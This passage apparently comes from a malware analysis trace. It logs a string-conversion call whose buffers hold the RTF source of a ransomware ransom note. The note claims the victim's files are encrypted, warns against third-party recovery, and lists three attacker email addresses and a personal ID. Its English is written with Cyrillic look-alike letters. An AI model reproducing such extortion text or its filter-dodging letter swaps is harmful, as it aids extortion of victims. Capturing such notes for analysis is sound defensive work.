\\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x25c4dd8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 